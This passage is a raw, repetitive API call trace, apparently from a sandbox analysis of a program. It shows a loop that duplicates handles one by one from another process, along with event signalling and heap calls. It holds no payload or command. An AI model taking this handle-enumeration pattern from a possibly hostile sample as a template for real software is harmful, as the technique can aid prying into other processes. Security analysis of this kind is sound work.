TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.255] ResetEvent (hEvent=0x114) returned 1 [0259.255] SetEvent (hEvent=0x110) returned 1 [0259.258] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.258] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.258] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.258] NtClose (Handle=0x1c4) returned 0x0 [0259.258] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x108, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.258] ResetEvent (hEvent=0x114) returned 1 [0259.258] SetEvent (hEvent=0x110) returned 1 [0259.259] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.259] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.259] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.259] NtClose (Handle=0x1c4) returned 0x0 [0259.259] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x10c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.259] ResetEvent (hEvent=0x114) returned 1 [0259.259] SetEvent (hEvent=0x110) returned 1 [0259.259] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.259] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.259] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.259] NtClose (Handle=0x1c4) returned 0x0 [0259.259] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x110, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.259] ResetEvent (hEvent=0x114) returned 1 [0259.260] SetEvent (hEvent=0x110) returned 1 [0259.260] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.260] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.260] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.260] NtClose (Handle=0x1c4) returned 0x0 [0259.260] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x114, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.260] ResetEvent (hEvent=0x114) returned 1 [0259.260] SetEvent (hEvent=0x110) returned 1 [0259.261] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.261] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.261] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.261] NtClose (Handle=0x1c4) returned 0x0 [0259.261] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x118, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.261] ResetEvent (hEvent=0x114) returned 1 [0259.261] SetEvent (hEvent=0x110) returned 1 [0259.261] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.261] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.261] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.261] NtClose (Handle=0x1c4) returned 0x0 [0259.261] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x11c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.261] ResetEvent (hEvent=0x114) returned 1 [0259.261] SetEvent (hEvent=0x110) returned 1 [0259.262] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.262] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.262] NtClose (Handle=0x1c4) returned 0x0 [0259.262] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x120, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.262] ResetEvent (hEvent=0x114) returned 1 [0259.262] SetEvent (hEvent=0x110) returned 1 [0259.262] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.263] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.263] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.263] NtClose (Handle=0x1c4) returned 0x0 [0259.263] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x124, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.263] ResetEvent (hEvent=0x114) returned 1 [0259.263] SetEvent (hEvent=0x110) returned 1 [0259.263] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.263] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.263] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.263] NtClose (Handle=0x1c4) returned 0x0 [0259.263] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x128, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.263] ResetEvent (hEvent=0x114) returned 1 [0259.263] SetEvent (hEvent=0x110) returned 1 [0259.264] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.264] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.264] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.264] NtClose (Handle=0x1c4) returned 0x0 [0259.264] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x12c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.264] ResetEvent (hEvent=0x114) returned 1 [0259.264] SetEvent (hEvent=0x110) returned 1 [0259.264] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.264] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.264] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.265] NtClose (Handle=0x1c4) returned 0x0 [0259.265] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x130, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.265] ResetEvent (hEvent=0x114) returned 1 [0259.265] SetEvent (hEvent=0x110) returned 1 [0259.265] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.265] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.265] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.265] NtClose (Handle=0x1c4) returned 0x0 [0259.265] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x134, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.265] ResetEvent (hEvent=0x114) returned 1 [0259.265] SetEvent (hEvent=0x110) returned 1 [0259.266] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.266] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.266] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.266] NtClose (Handle=0x1c4) returned 0x0 [0259.266] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x138, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.266] ResetEvent (hEvent=0x114) returned 1 [0259.266] SetEvent (hEvent=0x110) returned 1 [0259.266] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.266] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.266] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.266] NtClose (Handle=0x1c4) returned 0x0 [0259.266] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x13c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.266] ResetEvent (hEvent=0x114) returned 1 [0259.267] SetEvent (hEvent=0x110) returned 1 [0259.267] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.267] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.267] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.267] NtClose (Handle=0x1c4) returned 0x0 [0259.267] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x140, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.267] ResetEvent (hEvent=0x114) returned 1 [0259.267] SetEvent (hEvent=0x110) returned 1 [0259.268] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.268] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.268] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.268] NtClose (Handle=0x1c4) returned 0x0 [0259.268] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x144, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.268] ResetEvent (hEvent=0x114) returned 1 [0259.268] SetEvent (hEvent=0x110) returned 1 [0259.268] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.268] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.268] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.268] NtClose (Handle=0x1c4) returned 0x0 [0259.268] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x148, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.268] ResetEvent (hEvent=0x114) returned 1 [0259.268] SetEvent (hEvent=0x110) returned 1 [0259.269] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.269] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.269] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.269] NtClose (Handle=0x1c4) returned 0x0 [0259.269] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x14c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.269] ResetEvent (hEvent=0x114) returned 1 [0259.269] SetEvent (hEvent=0x110) returned 1 [0259.269] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.270] NtClose (Handle=0x1c4) returned 0x0 [0259.270] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x150, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.270] ResetEvent (hEvent=0x114) returned 1 [0259.270] SetEvent (hEvent=0x110) returned 1 [0259.270] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.270] NtClose (Handle=0x1c4) returned 0x0 [0259.270] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x154, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.270] ResetEvent (hEvent=0x114) returned 1 [0259.270] SetEvent (hEvent=0x110) returned 1 [0259.271] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.271] NtClose (Handle=0x1c4) returned 0x0 [0259.271] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x158, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.271] ResetEvent (hEvent=0x114) returned 1 [0259.271] SetEvent (hEvent=0x110) returned 1 [0259.272] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.272] NtClose (Handle=0x1c4) returned 0x0 [0259.272] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x15c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.272] ResetEvent (hEvent=0x114) returned 1 [0259.272] SetEvent (hEvent=0x110) returned 1 [0259.272] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.272] NtClose (Handle=0x1c4) returned 0x0 [0259.272] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x160, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.272] ResetEvent (hEvent=0x114) returned 1 [0259.272] SetEvent (hEvent=0x110) returned 1 [0259.273] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.273] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.273] NtClose (Handle=0x1c4) returned 0x0 [0259.273] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x164, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.273] ResetEvent (hEvent=0x114) returned 1 [0259.273] SetEvent (hEvent=0x110) returned 1 [0259.273] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.273] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.274] NtClose (Handle=0x1c4) returned 0x0 [0259.274] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x168, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.274] ResetEvent (hEvent=0x114) returned 1 [0259.274] SetEvent (hEvent=0x110) returned 1 [0259.274] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.274] NtClose (Handle=0x1c4) returned 0x0 [0259.274] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x16c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.274] ResetEvent (hEvent=0x114) returned 1 [0259.274] SetEvent (hEvent=0x110) returned 1 [0259.275] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.275] NtClose (Handle=0x1c4) returned 0x0 [0259.275] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x170, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.275] ResetEvent (hEvent=0x114) returned 1 [0259.275] SetEvent (hEvent=0x110) returned 1 [0259.275] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.275] NtClose (Handle=0x1c4) returned 0x0 [0259.275] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x174, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.275] ResetEvent (hEvent=0x114) returned 1 [0259.276] SetEvent (hEvent=0x110) returned 1 [0259.276] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.276] NtClose (Handle=0x1c4) returned 0x0 [0259.276] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x178, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.276] ResetEvent (hEvent=0x114) returned 1 [0259.276] SetEvent (hEvent=0x110) returned 1 [0259.276] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.277] NtClose (Handle=0x1c4) returned 0x0 [0259.277] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x17c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.277] ResetEvent (hEvent=0x114) returned 1 [0259.277] SetEvent (hEvent=0x110) returned 1 [0259.277] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.277] NtClose (Handle=0x1c4) returned 0x0 [0259.277] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x180, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.277] ResetEvent (hEvent=0x114) returned 1 [0259.277] SetEvent (hEvent=0x110) returned 1 [0259.278] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.278] NtClose (Handle=0x1c4) returned 0x0 [0259.278] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x184, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.278] ResetEvent (hEvent=0x114) returned 1 [0259.278] SetEvent (hEvent=0x110) returned 1 [0259.278] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.279] NtClose (Handle=0x1c4) returned 0x0 [0259.279] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x188, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.279] ResetEvent (hEvent=0x114) returned 1 [0259.279] SetEvent (hEvent=0x110) returned 1 [0259.279] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.279] NtClose (Handle=0x1c4) returned 0x0 [0259.279] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x18c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.279] ResetEvent (hEvent=0x114) returned 1 [0259.279] SetEvent (hEvent=0x110) returned 1 [0259.280] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.280] NtClose (Handle=0x1c4) returned 0x0 [0259.280] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x190, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.280] ResetEvent (hEvent=0x114) returned 1 [0259.280] SetEvent (hEvent=0x110) returned 1 [0259.280] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.280] NtClose (Handle=0x1c4) returned 0x0 [0259.280] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x194, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.280] ResetEvent (hEvent=0x114) returned 1 [0259.281] SetEvent (hEvent=0x110) returned 1 [0259.281] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.281] NtClose (Handle=0x1c4) returned 0x0 [0259.281] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x198, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.281] ResetEvent (hEvent=0x114) returned 1 [0259.281] SetEvent (hEvent=0x110) returned 1 [0259.282] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.282] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.282] NtClose (Handle=0x1c4) returned 0x0 [0259.282] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x19c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.282] ResetEvent (hEvent=0x114) returned 1 [0259.282] SetEvent (hEvent=0x110) returned 1 [0259.282] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.282] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.282] NtClose (Handle=0x1c4) returned 0x0 [0259.282] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1a0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, 